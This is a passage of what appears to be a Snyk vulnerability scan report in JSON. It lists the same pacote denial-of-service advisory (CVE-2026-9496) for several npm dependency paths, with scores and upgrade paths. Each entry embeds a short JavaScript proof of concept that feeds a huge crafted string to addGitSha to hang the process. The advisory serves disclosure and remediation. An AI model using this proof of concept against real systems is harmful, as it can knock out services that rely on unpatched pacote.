"Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T05:38:13.558341Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n", "epssDetails": { "percentile": "0.25940", "probability": "0.00346", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-9496" ], "CWE": [ "CWE-1333" ] }, "packageName": "pacote", "proprietary": true, "creationTime": "2024-10-17T10:34:46.482142Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2024-10-16T16:02:48Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-25T09:33:02.725240Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-06T14:03:36.496389Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1" ], "isUpgradable": true, "isPatchable": false, "name": "pacote", "version": "21.4.0" }, { "id": "SNYK-JS-PACOTE-8225084", "title": "Denial of Service (DoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Rongchen Li" ], "semver": { "vulnerable": [ ">=11.2.7 <21.5.1" ] }, "exploit": "Proof of Concept", "fixedIn": [ "21.5.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "pacote", "references": [ { "url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508", "title": "GitHub Commit" }, { "url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-24T05:38:13.558341Z" }, { "assigner": "SUSE", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.5, "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-06T14:03:36.496389Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-06T14:03:36.496389Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T05:38:13.558341Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n", "epssDetails": { "percentile": "0.25940", "probability": "0.00346", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-9496" ], "CWE": [ "CWE-1333" ] }, "packageName": "pacote", "proprietary": true, "creationTime": "2024-10-17T10:34:46.482142Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2024-10-16T16:02:48Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-25T09:33:02.725240Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-06T14:03:36.496389Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1" ], "isUpgradable": true, "isPatchable": false, "name": "pacote", "version": "21.4.0" }, { "id": "SNYK-JS-PACOTE-8225084", "title": "Denial of Service (DoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Rongchen Li" ], "semver": { "vulnerable": [ ">=11.2.7 <21.5.1" ] }, "exploit": "Proof of Concept", "fixedIn": [ "21.5.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "pacote", "references": [ { "url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508", "title": "GitHub Commit" }, { "url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-24T05:38:13.558341Z" }, { "assigner": "SUSE", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.5, "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-06T14:03:36.496389Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-06T14:03:36.496389Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T05:38:13.558341Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n", "epssDetails": { "percentile": "0.25940", "probability": "0.00346", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-9496" ], "CWE": [ "CWE-1333" ] }, "packageName": "pacote", "proprietary": true, "creationTime": "2024-10-17T10:34:46.482142Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2024-10-16T16:02:48Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-25T09:33:02.725240Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-06T14:03:36.496389Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1" ], "isUpgradable": true, "isPatchable": false, "name": "pacote", "version": "21.4.0" }, { "id": "SNYK-JS-PACOTE-8225084", "title": "Denial of Service (DoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Rongchen Li" ], "semver": { "vulnerable": [ ">=11.2.7 <21.5.1" ] }, "exploit": "Proof of Concept", "fixedIn": [ "21.5.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "pacote", "references": [ { "url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508", "title": "GitHub Commit" }, { "url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-24T05:38:13.558341Z" }, { "assigner": "SUSE", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.5, "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-06T14:03:36.496389Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-06T14:03:36.496389Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T05:38:13.558341Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n", "epssDetails": { "percentile": "0.25940", "probability": "0.00346", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-9496" ], "CWE": [ "CWE-1333" ] }, "packageName": "pacote", "proprietary": true, "creationTime": "2024-10-17T10:34:46.482142Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2024-10-16T16:02:48Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-25T09:33:02.725240Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-06T14:03:36.496389Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1" ], "isUpgradable": true, "isPatchable": false, "name": "pacote", "version": "21.4.0" }, { "id": "SNYK-JS-PACOTE-8225084", "title": "Denial of Service (DoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Rongchen Li" ], "semver": { "vulnerable": [ ">=11.2.7 <21.5.1" ] }, "exploit": "Proof of Concept", "fixedIn": [ "21.5.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "pacote", "references": [ { "url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508", "title": "GitHub Commit" }, { "url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-24T05:38:13.558341Z" }, { "assigner": "SUSE", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.5, "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-06T14:03:36.496389Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-06T14:03:36.496389Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T05:38:13.558341Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n", "epssDetails": { "percentile": "0.25940", "probability": "0.00346", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-9496" ], "CWE": [ "CWE-1333" ] }, "packageName": "pacote", "proprietary": true, "creationTime": "2024-10-17T10:34:46.482142Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2024-10-16T16:02:48Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-25T09:33:02.725240Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-06T14:03:36.496389Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1" ], "isUpgradable": true, "isPatchable": false, "name": "pacote", "version": "21.4.0" }, { "id": "SNYK-JS-PACOTE-8225084", "title": "Denial of Service (DoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Rongchen Li" ], "semver": { "vulnerable": [ ">=11.2.7 <21.5.1" ] }, "exploit": "Proof of Concept", "fixedIn": [ "21.5.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "pacote", "references": [ { "url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508", "title": "GitHub Commit" }, { "url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-24T05:38:13.558341Z" }, { "assigner": "SUSE", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.5, "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-06T14:03:36.496389Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-06T14:03:36.496389Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T05:38:13.558341Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source 